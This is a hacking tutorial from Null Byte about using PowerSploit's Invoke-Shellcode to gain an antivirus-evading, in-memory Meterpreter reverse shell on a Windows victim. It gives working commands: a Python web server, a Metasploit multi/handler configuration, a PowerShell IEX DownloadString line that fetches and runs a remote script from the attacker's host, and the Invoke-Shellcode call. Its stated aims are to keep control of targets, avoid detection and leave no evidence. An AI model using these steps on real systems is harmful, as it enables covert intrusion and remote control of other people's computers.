Hack Like a Pro: How to Use PowerSploit, Part 1 (Evading Antivirus Software) « Null Byte :: WonderHowTo

Welcome back, my greenhorn hackers!A few years back, Microsoft implicitly recognized the superiority of the Linux terminal over the GUI-based operating system by developing PowerShell. Since Windows 7, every Windows operating system has had PowerShell installed by default, and they even made PowerShell capable of running Linux commands on Windows!PowerShell is a powerful environment to get just about anything done in Windows, including scripting. Unfortunately, few administrators use it and some don't even know it exists.Don't Miss:Scripting for the Aspiring Hacker: Windows PowerShellAs hackers, PowerShell can be a formidable ally in our efforts to take control of a system. If we can access a system's PowerShell, we can use its power to control—and maintain control—of the target system. In addition, if we can run our commands and scripts in the PowerShell context, we can evade most antivirus (AV) software and leave little or no evidence behind.Fortunately for us, a series of PowerShell scripts have been developed byMatt Graeberthat can help us control and manipulate a target system. These specially crafted scripts are known collectively asPowerSploit. Thankfully, they are built intoKali. If you are not using Kali, you can download themhere.Step 1: Start PowerSploitTo start, let's fire up Kali. To start PowerSploit, simply go to Kali Linux -> Maintaining Access -> OS Backdoors -> powersploit. Or, simply navigate to/usr/share/powersploitfrom a terminal.This will open a terminal at/usr/share/powersploit.We can see each of the PowerSploit script directories by doing along listing.kali > ls -lAs you can see, we have eight PowerSploit directories.AntivirusBypassCodeExecutionExfiltrationPersistencePEToolsReconReverseEngineeringScriptModificationIn this tutorial, we will be using a script from the CodeExecution directory calledInvoke-Shellcode.Step 2: Start a Web ServerFor this next step, we need to start a web server on our Kali system to serve up our PowerSploit commands to the victim machine. There are many ways to do this; You could, for instance, copy the PowerSploit directory to/var/www/htmland start the Apache web server.A simpler and more elegant solution is to start a simple Python web server in the PowerSploit directory. We can do this by typing while in the PowerSploit directory.kali > python -m SimpleHTTPServerNow, we have a web server started in the PowerSploit directory. This means that anyone who accesses that web server will have access to that directory on our Kali system.Step 3: Start PowerSploit on the VictimFor this entire hack, we are assuming that you already have access to the target machine and are trying to get a Meterpreter shell without triggering the AV software. For our purposes here, we are assuming you have a GUI on the target system with RDP or VNC.Start PowerShell on the victim system by going to the Start menu and typing PowerShell in the search window.Click on the PowerShell icon and start PowerShell on the victim machine.Step 4: Open a Browser & Navigate to Our Web Server on KaliFrom the Windows 7 target system, we can now navigate to the web server on Kali.As we can see, all the PowerSploit scripts are available on our web server for downloading to the victim.Step 5: Start a Multi/Handler in KaliWe will need a multi/handler on the Kali system to receive the communication with the Meterpreter from the target system. Start the Metasploit console by typing:kali > msfconsoleTo start the multi/handler, we need the following commands:msf > use exploit/multi/handlermsf > set PAYLOAD windows/meterpreter/reverse_httpmsf > set LHOST 192.168.181.128msf > set LPORT 4444msf > exploitAs you can see in the screenshot above, we now have a handler awaiting a connection from the victim system.Step 6: Download the PowerSploit ScriptOn the Windows 7 system, we will next be using PowerShell to download the PowerSploit script from our Kali system via our simple Python web server. We can do this by typing:> IEX(New-Object Net.WebClient).DownloadString ("http://192.168.181.128:8000/CodeExecution/Invoke-Shellcode.ps1 ")On our Kali system, we can see that the Windows 7 system web server has been hit with a GET request from the Windows 7 system. This effectively downloaded ourInvoke-Shellcodescript to the Windows 7 machine.Back at the Windows 7 system, we now want to run that PowerSploit script. If we have done everything correctly, the running of this script will start a Meterpreter session on the Windows 7 machine within the context of the PowerShell process.PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 -ForceStep 7: Look for a Meterpreter Session on KaliNow, let's return to out Kali system and look to see whether a Meterpreter session has been opened. Let's go back to msfconsole where we had a multi/handler waiting for a connection and type.sessions -lThis should list all the sessions opened.Success! We got a Meterpreter session on the victim PC. The beauty of this session is that the Meterpreter shell is running in the context of the PowerShell process and will not be picked up by AV software. In addition, the Meterpreter is running entirely in memory so it will not leave any evidence on the hard drive.Keep coming back, my greenhorn hackers, as we further explore further PowerSploit scripts, and the most valuable skill set of the 21st century—hacking.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1How To:Remove Antivirus Pro from your computer with SpyhunterHow To:Remove the Palladium Pro rogue malware from your computerHow To:Remove AntiVirus Pro from your computerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Evade AV Software with ShellterAdvice from a Real Hacker:How to Know if You've Been HackedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Identify Antivirus Software Installed on a Target's Windows 10 PCHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)News:What to Expect from Null Byte in 2015How To:The Definitive Guide to Android MalwareNews:Samsung Preinstalls McAfee Bloatware on Your S8 & It's Neither Great nor FreeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Remove Personal Antivirus from your Windows PCHow To:The Ultimate Guide to Hacking macOSHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHow To:Make sure your antivirus software is legitimate and not rogue spamwareHow To:Android's Built-In Scanner Only Catches 15% of Malicious Apps—Protect Yourself with One of These Better AlternativesHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHacking Windows 10:How to Capture Keystrokes & Passwords RemotelyHack Like a Pro:How to Evade AV Detection with Veil-EvasionLockdown:The InfoSecurity Guide to Securing Your Computer, Part ILevitation Challenge:Evading ArrestWindows Security:Software LevelTHE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01News:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreHow To:The Official Google+ Insider's Guide IndexNews:What does Pro Tools HD Native mean for you?News:Some Great Articles on Evading AV Software